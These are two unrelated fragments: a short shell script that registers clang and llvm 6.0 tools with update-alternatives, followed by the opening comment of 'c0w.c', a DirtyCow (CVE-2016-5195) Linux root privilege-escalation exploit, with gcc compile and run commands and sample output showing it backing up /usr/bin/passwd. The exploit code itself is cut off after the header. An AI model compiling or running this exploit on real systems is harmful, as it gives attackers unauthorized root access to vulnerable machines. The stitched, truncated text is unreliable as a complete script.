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#!/usr/bin/env sh | |
update-alternatives --install /usr/bin/clang++ clang++ /usr/bin/clang++-6.0 200 | |
update-alternatives --install /usr/bin/clang clang /usr/bin/clang-6.0 200 | |
update-alternatives --config clang | |
update-alternatives --config clang++ | |
update-alternatives --install \ | |
/usr/bin/llvm-config llvm-config /usr/bin/llvm-config-6.0 200 \ | |
--slave /usr/bin/llvm-ar llvm-ar /usr/bin/llvm-ar-6.0 \ |
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/* | |
* A PTRACE_POKEDATA variant of CVE-2016-5195 | |
* should work on RHEL 5 & 6 | |
* | |
* (un)comment correct payload (x86 or x64)! | |
* $ gcc -pthread c0w.c -o c0w | |
* $ ./c0w | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* mmap fa65a000 |